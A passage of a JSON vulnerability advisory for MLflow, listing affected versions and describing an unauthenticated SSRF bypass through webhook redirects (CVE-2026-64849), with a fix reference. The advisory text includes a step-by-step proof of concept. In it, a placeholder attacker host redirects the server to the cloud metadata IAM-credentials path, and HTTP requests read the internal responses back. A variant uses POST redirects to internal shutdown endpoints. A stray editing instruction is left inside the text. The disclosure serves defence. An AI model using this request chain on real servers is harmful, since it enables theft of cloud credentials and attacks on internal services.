"vers:unknown/2.20.0", "product_id": "CSAFPID-2536960", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.20.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.20.0rc0", "product": { "name": "vers:unknown/2.20.0rc0", "product_id": "CSAFPID-3273638", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.20.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.20.1", "product": { "name": "vers:unknown/2.20.1", "product_id": "CSAFPID-2536961", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.20.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.20.2", "product": { "name": "vers:unknown/2.20.2", "product_id": "CSAFPID-3273639", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.20.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.20.3", "product": { "name": "vers:unknown/2.20.3", "product_id": "CSAFPID-3273640", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.20.3" } } }, { "category": "product_version_range", "name": "vers:unknown/2.20.4", "product": { "name": "vers:unknown/2.20.4", "product_id": "CSAFPID-3273641", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.20.4" } } }, { "category": "product_version_range", "name": "vers:unknown/2.21.0", "product": { "name": "vers:unknown/2.21.0", "product_id": "CSAFPID-3273642", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.21.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.21.0rc0", "product": { "name": "vers:unknown/2.21.0rc0", "product_id": "CSAFPID-3273643", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.21.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.21.1", "product": { "name": "vers:unknown/2.21.1", "product_id": "CSAFPID-3273644", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.21.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.21.2", "product": { "name": "vers:unknown/2.21.2", "product_id": "CSAFPID-3273645", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.21.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.21.3", "product": { "name": "vers:unknown/2.21.3", "product_id": "CSAFPID-3273646", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.21.3" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.0", "product": { "name": "vers:unknown/2.22.0", "product_id": "CSAFPID-3273647", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.0rc0", "product": { "name": "vers:unknown/2.22.0rc0", "product_id": "CSAFPID-3273648", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.1", "product": { "name": "vers:unknown/2.22.1", "product_id": "CSAFPID-3273649", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.2", "product": { "name": "vers:unknown/2.22.2", "product_id": "CSAFPID-3699081", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.3", "product": { "name": "vers:unknown/2.22.3", "product_id": "CSAFPID-5230716", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.3" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.4", "product": { "name": "vers:unknown/2.22.4", "product_id": "CSAFPID-5230717", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.4" } } }, { "category": "product_version_range", "name": "vers:unknown/2.22.5", "product": { "name": "vers:unknown/2.22.5", "product_id": "CSAFPID-6917358", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.22.5" } } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0", "product": { "name": "vers:unknown/2.3.0", "product_id": "CSAFPID-3237140", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.3.1", "product": { "name": "vers:unknown/2.3.1", "product_id": "CSAFPID-3237141", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.3.2", "product": { "name": "vers:unknown/2.3.2", "product_id": "CSAFPID-3237142", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.4.0", "product": { "name": "vers:unknown/2.4.0", "product_id": "CSAFPID-3237143", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.4.1", "product": { "name": "vers:unknown/2.4.1", "product_id": "CSAFPID-3237144", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.4.2", "product": { "name": "vers:unknown/2.4.2", "product_id": "CSAFPID-3237145", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.5.0", "product": { "name": "vers:unknown/2.5.0", "product_id": "CSAFPID-1104453", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.0", "product": { "name": "vers:unknown/2.6.0", "product_id": "CSAFPID-3237146", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.7.0", "product": { "name": "vers:unknown/2.7.0", "product_id": "CSAFPID-3237147", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.7.1", "product": { "name": "vers:unknown/2.7.1", "product_id": "CSAFPID-1037973", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.8.0", "product": { "name": "vers:unknown/2.8.0", "product_id": "CSAFPID-3237148", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.8.1", "product": { "name": "vers:unknown/2.8.1", "product_id": "CSAFPID-3237149", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.9.0", "product": { "name": "vers:unknown/2.9.0", "product_id": "CSAFPID-1037293", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.9.1", "product": { "name": "vers:unknown/2.9.1", "product_id": "CSAFPID-1037294", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.9.2", "product": { "name": "vers:unknown/2.9.2", "product_id": "CSAFPID-1076986", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.9.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0", "product": { "name": "vers:unknown/3.0.0", "product_id": "CSAFPID-3273616", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc0", "product": { "name": "vers:unknown/3.0.0rc0", "product_id": "CSAFPID-3273617", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.0.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc1", "product": { "name": "vers:unknown/3.0.0rc1", "product_id": "CSAFPID-3273618", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.0.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc2", "product": { "name": "vers:unknown/3.0.0rc2", "product_id": "CSAFPID-3273619", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.0.0rc2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc3", "product": { "name": "vers:unknown/3.0.0rc3", "product_id": "CSAFPID-3273620", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.0.0rc3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.1", "product": { "name": "vers:unknown/3.0.1", "product_id": "CSAFPID-3273621", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0", "product": { "name": "vers:unknown/3.1.0", "product_id": "CSAFPID-4839797", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0rc0", "product": { "name": "vers:unknown/3.1.0rc0", "product_id": "CSAFPID-3273622", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.1.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.1", "product": { "name": "vers:unknown/3.1.1", "product_id": "CSAFPID-4839798", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.2", "product": { "name": "vers:unknown/3.1.2", "product_id": "CSAFPID-4839799", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.3", "product": { "name": "vers:unknown/3.1.3", "product_id": "CSAFPID-4839800", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.4", "product": { "name": "vers:unknown/3.1.4", "product_id": "CSAFPID-4839801", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.10.0", "product": { "name": "vers:unknown/3.10.0", "product_id": "CSAFPID-6005855", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.10.0rc0", "product": { "name": "vers:unknown/3.10.0rc0", "product_id": "CSAFPID-6211381", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.10.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.10.1", "product": { "name": "vers:unknown/3.10.1", "product_id": "CSAFPID-6005856", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.0", "product": { "name": "vers:unknown/3.11.0", "product_id": "CSAFPID-6211382", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.0rc0", "product": { "name": "vers:unknown/3.11.0rc0", "product_id": "CSAFPID-6211383", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.11.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.0rc1", "product": { "name": "vers:unknown/3.11.0rc1", "product_id": "CSAFPID-6211384", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.11.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.1", "product": { "name": "vers:unknown/3.11.1", "product_id": "CSAFPID-8982474", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.12.0", "product": { "name": "vers:unknown/3.12.0", "product_id": "CSAFPID-8982475", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.12.0rc0", "product": { "name": "vers:unknown/3.12.0rc0", "product_id": "CSAFPID-8982476", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.12.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.13.0", "product": { "name": "vers:unknown/3.13.0", "product_id": "CSAFPID-9002710", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.13.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.13.0rc0", "product": { "name": "vers:unknown/3.13.0rc0", "product_id": "CSAFPID-9002711", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.13.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.14.0", "product": { "name": "vers:unknown/3.14.0", "product_id": "CSAFPID-8934391", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.14.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0", "product": { "name": "vers:unknown/3.2.0", "product_id": "CSAFPID-4839802", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0rc0", "product": { "name": "vers:unknown/3.2.0rc0", "product_id": "CSAFPID-4839803", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.2.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.0", "product": { "name": "vers:unknown/3.3.0", "product_id": "CSAFPID-4839804", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.0rc0", "product": { "name": "vers:unknown/3.3.0rc0", "product_id": "CSAFPID-4839805", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.3.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.1", "product": { "name": "vers:unknown/3.3.1", "product_id": "CSAFPID-4839806", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.2", "product": { "name": "vers:unknown/3.3.2", "product_id": "CSAFPID-4839807", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.0", "product": { "name": "vers:unknown/3.4.0", "product_id": "CSAFPID-4839808", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.0rc0", "product": { "name": "vers:unknown/3.4.0rc0", "product_id": "CSAFPID-4839809", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.4.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.0", "product": { "name": "vers:unknown/3.5.0", "product_id": "CSAFPID-5902362", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.0rc0", "product": { "name": "vers:unknown/3.5.0rc0", "product_id": "CSAFPID-5415450", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.5.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.1", "product": { "name": "vers:unknown/3.5.1", "product_id": "CSAFPID-5902363", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.0", "product": { "name": "vers:unknown/3.6.0", "product_id": "CSAFPID-5902364", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.0rc0", "product": { "name": "vers:unknown/3.6.0rc0", "product_id": "CSAFPID-5902365", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.6.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.7.0", "product": { "name": "vers:unknown/3.7.0", "product_id": "CSAFPID-5902366", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.7.0rc0", "product": { "name": "vers:unknown/3.7.0rc0", "product_id": "CSAFPID-5902367", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.7.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.0", "product": { "name": "vers:unknown/3.8.0", "product_id": "CSAFPID-5902368", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.0rc0", "product": { "name": "vers:unknown/3.8.0rc0", "product_id": "CSAFPID-5902369", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.8.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.1", "product": { "name": "vers:unknown/3.8.1", "product_id": "CSAFPID-5902370", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9.0", "product": { "name": "vers:unknown/3.9.0", "product_id": "CSAFPID-6211385", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9.0rc0", "product": { "name": "vers:unknown/3.9.0rc0", "product_id": "CSAFPID-6211386", "product_identification_helper": { "purl": "pkg:pypi/mlflow@3.9.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/<3.15.0", "product": { "name": "vers:unknown/<3.15.0", "product_id": "CSAFPID-9002532" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.15.0", "product": { "name": "vers:unknown/>=0|<3.15.0", "product_id": "CSAFPID-9002695" } }, { "category": "product_version_range", "name": "vers:unknown/model-catalog/latest", "product": { "name": "vers:unknown/model-catalog/latest", "product_id": "CSAFPID-8758710" } }, { "category": "product_version_range", "name": "vers:unknown/nightly", "product": { "name": "vers:unknown/nightly", "product_id": "CSAFPID-5424223" } }, { "category": "product_version_range", "name": "vers:unknown/ts/v0.2.0", "product": { "name": "vers:unknown/ts/v0.2.0", "product_id": "CSAFPID-8758707" } }, { "category": "product_version_range", "name": "vers:unknown/ts/v0.2.0-rc.1", "product": { "name": "vers:unknown/ts/v0.2.0-rc.1", "product_id": "CSAFPID-8758709" } }, { "category": "product_version_range", "name": "vers:unknown/ts/v0.2.0-rc.2", "product": { "name": "vers:unknown/ts/v0.2.0-rc.2", "product_id": "CSAFPID-8758708" } }, { "category": "product_version_range", "name": "vers:unknown/ts/v0.3.0", "product": { "name": "vers:unknown/ts/v0.3.0", "product_id": "CSAFPID-9007127" } }, { "category": "product_version_range", "name": "vers:unknown/ts/v0.3.0-rc.0", "product": { "name": "vers:unknown/ts/v0.3.0-rc.0", "product_id": "CSAFPID-8758706" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.0", "product": { "name": "vers:unknown/v0.2.0", "product_id": "CSAFPID-3454651" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.1", "product": { "name": "vers:unknown/v0.2.1", "product_id": "CSAFPID-3454652" } }, { "category": "product_version_range", "name": "vers:unknown/v0.3.0", "product": { "name": "vers:unknown/v0.3.0", "product_id": "CSAFPID-3454653" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.0", "product": { "name": "vers:unknown/v0.4.0", "product_id": "CSAFPID-3454654" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.1", "product": { "name": "vers:unknown/v0.4.1", "product_id": "CSAFPID-3454655" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.2", "product": { "name": "vers:unknown/v0.4.2", "product_id": "CSAFPID-3454656" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.0", "product": { "name": "vers:unknown/v0.5.0", "product_id": "CSAFPID-3454657" } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.0", "product": { "name": "vers:unknown/v0.6.0", "product_id": "CSAFPID-3454658" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7", "product": { "name": "vers:unknown/v0.7", "product_id": "CSAFPID-3454659" } }, { "category": "product_version_range", "name": "vers:unknown/v0.8.0", "product": { "name": "vers:unknown/v0.8.0", "product_id": "CSAFPID-3454660" } }, { "category": "product_version_range", "name": "vers:unknown/v0.8.1", "product": { "name": "vers:unknown/v0.8.1", "product_id": "CSAFPID-3454661" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.0", "product": { "name": "vers:unknown/v1.7.0", "product_id": "CSAFPID-3454662" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0", "product": { "name": "vers:unknown/v2.2.0", "product_id": "CSAFPID-3454663" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0", "product": { "name": "vers:unknown/v3.0.0", "product_id": "CSAFPID-3688397" } } ], "category": "product_name", "name": "mlflow" } ], "category": "vendor", "name": "mlflow" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=0|<3.15.0", "product": { "name": "vers:unknown/>=0|<3.15.0", "product_id": "CSAFPID-9033545" } } ], "category": "product_name", "name": "mlflow" } ], "category": "vendor", "name": "Bitnami" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.15.0", "product": { "name": "vers:unknown/<3.15.0", "product_id": "CSAFPID-9015638", "product_identification_helper": { "cpe": "cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "mlflow" } ], "category": "vendor", "name": "LF Projects" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-64849", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/64xxx/CVE-2026-64849.json" }, { "category": "description", "text": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False\n for addr_info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(addr_info[4][0])\n if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning\n ...\ndef _send_webhook_request(webhook, payload, event, session):\n _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only\n return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n # no allow_redirects=False -> 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -> 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\"image\"\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -> 200 {\"webhook\":{\"webhook_id\":\"\", ... ,\"status\":\"ACTIVE\"}}\n\n\"image\"\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n POST /api/2.0/mlflow/webhooks//test HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"webhook_id\":\"\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n -> 200 {\"result\":{\"success\":true,\"response_status\":200,\n \"response_body\":\"\"}}\n\n\"image\"\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\"image\"\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:", "title": "github - https://api.github.com/advisories/GHSA-7gwp-5pfp-969j" }, { "category": "description", "text": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-64849" }, { "category": "description", "text": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False\n for addr_info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(addr_info[4][0])\n if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning\n ...\ndef _send_webhook_request(webhook, payload, event, session):\n _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only\n return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n # no 